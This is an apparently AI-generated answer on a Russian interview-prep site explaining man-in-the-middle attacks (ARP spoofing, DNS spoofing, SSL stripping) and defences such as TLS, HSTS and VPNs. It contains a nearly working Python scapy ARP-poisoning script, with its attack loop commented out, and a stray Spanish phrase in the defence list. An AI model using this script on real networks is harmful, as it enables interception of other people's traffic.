Что такое атака 'человек посередине' (man-in-the-middle)?
Sobes Copilot
Получайте ответы в реальном времени
Ответ от нейросети
sobes.tech AI
Атака Man-in-the-Middle (MiTM) — это форма перехвата активного трафика, при которой злоумышленник тайно вмешивается в связь между двумя сторонами, например, клиентом и сервером. Злоумышленник позиционирует себя между ними, перехватывая, читая и, возможно, изменяя передаваемые данные.
В контексте тестирования безопасности, эмулирование MiTM атак помогает выявить уязвимости в протоколах передачи данных, управлении сертификатами и шифровании.
Примеры техник, используемых в MiTM:
- ARP Spoofing: Злоумышленник отправляет поддельные ARP-сообщения в локальной сети, связывая свой MAC-адрес с IP-адресом шлюза или другого хоста, тем самым перенаправляя трафик через себя.
- DNS Spoofing: Злоумышленник перехватывает DNS-запросы и отправляет поддельные DNS-ответы, направляя пользователя на вредоносный сайт.
- HTTPS Spoofing (SSL Stripping): Злоумышленник заставляет браузер пользователя соединиться с веб-сайтом по незащищенному HTTP вместо HTTPS, даже если сайт поддерживает HTTPS.
# Пример упрощенного ARP spoofing (концептуальный)
import scapy.all as scapy
import time
def get_mac(ip):
# Получаем MAC-адрес по IP
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
if answered_list:
return answered_list[0][1].hwsrc
return None
def spoof(target_ip, spoof_ip):
# Отправляем ARP-ответ, который говорит target_ip, что spoof_ip имеет наш MAC-адрес
target_mac = get_mac(target_ip)
if target_mac:
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
# Этот код - иллюстрация, для реальной атаки требуется более сложная логика и разрешение
# print("Пример ARP spoofing (концептуально)")
# target_ip = "Целевой IP"
# gateway_ip = "IP шлюза"
#
# try:
# while True:
# spoof(target_ip, gateway_ip) # Перенаправляем трафик от цели к шлюзу через нас
# spoof(gateway_ip, target_ip) # Перенаправляем трафик от шлюза к цели через нас
# time.sleep(2)
# except KeyboardInterrupt:
# print("\nОбнаружено прерывание, восстановление ARP таблиц...")
# # Здесь должна быть логика восстановления ARP-таблиц
Защита от MiTM включает использование надежных протоколов шифрования (TLS/SSL), проверку сертификатов, реализацию HSTS (HTTP Strict Transport Security),seguridad de red (сегментация сети) и использование VPN.